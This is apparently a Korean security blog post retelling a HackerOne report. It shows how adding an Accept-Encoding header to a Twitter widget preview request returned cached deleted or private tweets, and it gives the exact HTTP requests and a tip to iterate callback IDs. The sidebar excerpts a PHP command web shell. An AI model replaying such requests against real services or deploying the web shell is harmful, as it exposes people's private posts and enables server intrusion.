해커원 사이트에서 유심히 보았던 취약점이다. (https://hackerone.com/reports/263760)
request 헤더에 Accept-Encoding: gzip, deflate, br 를 추가하여 서버에 인코딩 요청을 하면, 캐쉬된 데이터가 포함된 결과를 반환한다. 그러면 캐쉬에 들어가 있던 삭제된 트윗, 공개였다가 현재는 비공개된 트윗을 확인 할 수 있다는 것이다.
# Original Request:
GET /widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i<some number>_preview_old&do_not_track=false&expand_media=false&height=350&lang=en&query=countblank&safe_mode=on&suppress_response_codes=true&theme=light&timeline_type=search HTTP/1.1
Host: █████
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: /
Referer: https://twitter.com/settings/widgets/new
Accept-Language: en-US,en;q=0.8
Cookie: lang=en
# New Request (Make sure to change to twttr.callbacks.tl_i73_preview_old since this cache has not been overwritten by correct data):
GET /widgets/timelines/preview?all_results=on&callback=██████ HTTP/1.1
Host: ███
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: /
Referer: https://twitter.com/settings/widgets/new
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: lang=en
# Response value
HTTP/1.1 200 OK
...
Content-Length: 10556 (보통보다는 많은 데이터 반환)
공개된 트윗만이 아닌 더 여러개의 비공개 프로필 트윗을 볼 수 있다. i73을 1i 에서 i100으로 바꿔가면서 테스트 해 볼 수 있다.
# Accept-Encoding: gzip, deflate 는?
이는 브라우저가 gzip 과 deflate 인코딩(압축 알고리즘)을 이해하므로 웹 서버가 http response 메시지를 이들 알고리즘 중 하나로 압축해서 보내도 된다는 것을 서버에게 알려 주는 것이다.
웹 서버는 Accept-Encoding 의 값을 살펴보고 필요에 따라서 HTTP Response (HTML, CSS, 이미지 등의 결과물)를 압축할 수 있다. 웹 서버가 HTTP Response 를 압축했다면 서버는 결과가 어떤 알고리즘에 의해 인코딩(압축)되었는가를 Content-Encoding 헤더를 통해 명시한다. 다음은 http://www.google.co.kr 에서 반환한 HTTP Response 헤더의 내용이다.
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Content-Encoding: gzip
Server: GWS/2.1
Content-Length: 1865
Date: Thu, 14 Jul 2005 14:21:24 GMT
(구글은 Content-Encoding 헤더 값에 gzip 에 명시하여, 컨텐츠가 gzip 알고리즘에 의해 압축되었음을 브라우저에게 알리고 있다.)
Popular Posts
-
/* PHP Version URL CMD WebShell */ /* 사용법 : hxxp://URL/cmd.php?cmd=명령어 */ <? echo " <FORM ACTIO...
-
1. XSS 취약점 이란 대부분의 웹 해킹 기법은 웹 서버 설정 혹은 프로그램의 취약점을 공격하지만, XSS는 사용자를 공격하는 기법이다. 예를 들어 악성 코드가 포함된 글을 읽는 순간 악성 프로그램이 설치되거나 쿠키 혹은 세션 정보가 공격자에게 ...
Recent Posts
Blog Archive
-
▼
2017
(
90
)
-
▼
11월
(
9
)
- [웹 취약점] http method 확인하기 with metasploit, Curl, Ni...
- [웹 취약점] 미리보기 캐시를 이용하는 검색 위젯기능을 통해 비공개 트윗 내용을 확인 할 ...
- 모의해킹 및 정보보안 기술 역량 향상을 위한 사이트
- [웹 취약점] blind injection
- [웹 취약점] SQL Injection 수동 공격 -1 (mysql)
- [시스템 취약점] AIX 시스템 점검 팁 - 패스워드 크랙
- [DVWA] APMSETUP / DVWA 설치
- [웹 취약점] Sqlmap 정리
- [LAB] Web for pentester 설치 및 초기 설정 # Web for Pente...
-
▼
11월
(
9
)
Powered by Blogger.